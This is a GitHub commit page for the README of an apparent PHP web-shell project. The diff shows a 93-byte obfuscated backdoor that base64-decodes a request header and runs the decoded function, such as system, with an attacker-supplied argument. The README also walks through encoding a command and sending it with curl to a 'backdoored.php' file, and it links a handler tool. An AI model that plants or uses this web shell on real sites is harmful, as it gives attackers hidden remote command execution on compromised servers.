Skip to content

Commit

Permalink
short_open_tag = Off
Browse files Browse the repository at this point in the history
  • Loading branch information
s0md3v authored Oct 6, 2018
1 parent 84ca53a commit 065d142
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ For example, the code below will execute the `ls` command:

### Ninja
```php
<?$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
```
#### Features
- 93 bytes in size
Expand All @@ -36,7 +36,7 @@ Lets say you want to run `system(ls)` so write it as `system~ls` and then base64
Now add any **1** character at the start of it. Let say 'x' so it will be `xc3lzdGVtKGxzKQ==`\
Now open your terminal and type the following command\
`curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php`\
Too much work? You can use the [handler](https://github.com/UltimateHackers/nano/blob/master/handler.py) instead.
Too much work? You can use the [handler](https://github.com/s0md3v/nano/blob/master/handler.py) instead.

![handler](https://i.imgur.com/hkAHGwH.png)

Expand Down

0 comments on commit 065d142

Please sign in to comment.